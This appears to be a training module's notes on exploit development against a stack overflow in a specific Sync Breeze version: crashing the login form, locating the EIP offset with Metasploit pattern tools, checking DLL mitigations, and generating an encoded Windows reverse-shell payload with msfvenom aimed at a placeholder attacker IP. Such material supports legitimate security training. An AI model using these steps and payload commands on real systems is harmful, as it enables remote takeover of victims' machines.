MODULE 2: Exploiting Stack Overflows

(with no memory protection)

Setup:
- After installing the specific version of Sync Breeze, launch the Sync Breeze Client from the Start Menu
- To enable to web server Click Options > Server > Enable Web Server on Port 80 or any > Save
- We'll be crashing the application throughout the exploit development process so try opening Services.msc to quickly restart the application
Initial Crash:
- We perform a crash (code's here) at the POST /login method with username(placing the exploit here i.e. A's or \x41 800 times) and password input fields, we come to find out that the following eip and esp registers point to the following addresses:
  
  Registers Mem.Addr. Mem.Value
  
  EIP -----> mem_reg+0 41414141
  
  mem_reg+4 41414141
  
  ESP -----> mem_reg+8 41414141
  
  mem_reg+C 4141..........
- To have a step by step view of the exploit development process, have a look at the code files present in ./exploit/02/ folder starting from 00_syncbrs_exploit.py to 06FINAL_syncbrs_exploit.py

A method to find the right offset of which part of the input string sits right on the Instruction Pointer. First we start with n/2 A's and n/2 B's, then see which part of the character sits in the Instruction pointer. If B is present then we divide then B's half as n/4 B's and n/4 C's, so on and so forth adding new characters along the way until the exact bytes that overwrites the Instruction Pointer are found

An alternative (much faster) to Binary Tree Analysis we can come up with a long string input made of non repeating byte chunks where later that unique sequence(that sits on Instruction Pointer) could be used to further our exploitation process replacing that unique byte with a legit address to change the control flow
This can be done using a tool(present in kali linux) called msf-pattern_create as follows:

msf-pattern_create -l <input_length_that_caused_overflow>
- Later this can be used as a value in our input buffer to proceed with the exploitation process
Then we try to run the application with our input buffer attaching it to a debugger we notice that the IP now has been replaced with the the byte chunk that was given as an input.
Now to find the offset of where the IP gets replaced in the string, we use another tool called msf-pattern_offset as follows:

msf-pattern_offset -l <input_length_that_caused_overflow> -q <bytes_present_in_IP>

When developing an exploit we try to see where to return to a specific module that shouldn't have null characters or see whether there are any memory protection schemes present for that module, we can identify them in ease with this tool
Inspecting the running vulnerable process > double click > General Tab > Process Section > Mitigation policies field if says None then it has no memory protection schemes integrated with it
Browsing to the Modules tab, provides with all the DLLs that are loaded in the process memory, and we can double click > General Tab > Characteristics field displays whether DLL is integrated with any memory protection schemes

We can build our shellcode with msfvenom tool as follows:

msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f c
However when the shellcode is generated we need to remove bad characters from it that we'd have identified during our exploitation process
For this we can make use of an advanced polymorphic encoder called as shikata_ga_nai as follows:

msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f c -e x86/shikata_ga_nai -b "\x00\x....all_bad_chars"
Another problem to address is that when we exploit and terminate our reverse shell session, the vulnerable process completely exits the application and not the current thread
So in order to terminate the thread and not the whole process we make use of an option called EXITFUNC with the value of thread as follows:

msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x....all_bad_chars"

Provide feedback